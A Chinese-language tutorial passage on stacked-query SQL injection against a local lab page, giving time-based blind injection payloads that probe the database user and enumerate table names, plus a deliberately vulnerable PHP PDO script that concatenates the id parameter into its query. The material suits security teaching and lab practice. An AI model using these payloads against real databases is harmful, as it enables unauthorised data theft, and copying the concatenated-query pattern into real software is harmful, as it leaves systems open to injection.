目錄
- 2.3 堆疊查詢注入攻擊
- 2.4 堆疊準入代碼分析
2.3 堆疊查詢注入攻擊
??堆疊查詢注入攻擊的測驗地址:http://127.0.0.1/sqli/duidie.php?id=1,
??堆疊查詢可以執行多條陳述句,多陳述句之間以分好隔開,堆疊查詢注入就是利用這個特點,在第二個SQL陳述句中構造自己要執行的陳述句,首先訪問id=1’,頁面回傳MySQL錯誤,在訪問id=1’–+,頁面回傳正常的結果,這里可以使用Boolean注入、時間注入,也可以使用另一種注入方式——堆疊注入,
??堆疊注入的陳述句為:
';select if(substr(user(),1,1)='r',sleep(3),1)--+
??從堆疊注入陳述句中可以看到,第二條SQL陳述句就是時間盲注的陳述句,執行結果如圖37所示,
圖38 利用堆疊注入獲取資料
??后面獲取資料的操作與時間盲注的一樣,通過構造不同的時間注入陳述句,可以得到完整的資料庫的庫名、表名、欄位名和具體資料,執行以下陳述句,就可以獲取資料庫的表名,
';select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(3),1)--+
??結果如圖38所示,
圖39 利用堆疊注入獲取表名
2.4 堆疊準入代碼分析
??在堆疊注入頁面中,程式獲取GET引數ID,使用PDO的方式進行資料查詢,但仍然將引數ID拼接到查詢陳述句,導致PDO沒起到預編譯的效果,程式仍然存在SQL注入漏洞,代碼如下所示,
<?php header('Content-type:text/html;charset=utf-8');
try
{
$conn = new PDO("mysql:host=localhost;dbname=test", "root", "root");//連接資料庫,初始化一個pdo物件
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);//設定一個屬性
$id = @$_GET['id'];
$sql = "select * from users where `id`='".$id."'";
echo "<hr />";
echo "當前執行陳述句為:".$sql;
echo "<hr />";
$stmt = $conn->query($sql);
$result = $stmt->setFetchMode(PDO::FETCH_ASSOC);
foreach($stmt->fetchAll() as $k=>$v)
{
foreach ($v as $key => $value)
{
echo $value;
}
}
$dsn = null;
}
catch(PDOException $e)
{
echo "error";
}
$conn = null;
?>
??使用PDO執行SQL陳述句時,可以執行多陳述句,不過這樣通常不能直接得到注入結果,因為PDO只會回傳第一條SQL陳述句執行的結果,所以在第二條陳述句中可以用Update更新資料或者使用時間盲注獲取資料,訪問dd.php?id=1’;select if(ord(substring(user(),1,1))=114,sleep(3),1);%23時,執行的SQL陳述句為:
select * from users where `id`='1';select if(ord(substring(user(),1,1))=114,sleep(3),1);#
??此時SQL陳述句分為另外兩條,第一條select * from users where `id`='1’是代碼自己的select查詢,而select if(ord(substring(user(),1,1))=114,sleep(3),1);#則是我們構造的時間盲注陳述句,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/300685.html
標籤:其他
上一篇:2021隴劍杯網路安全大賽wp-JWT部分(詳細題解)
下一篇:Linux下暴力破解弱密碼的工具
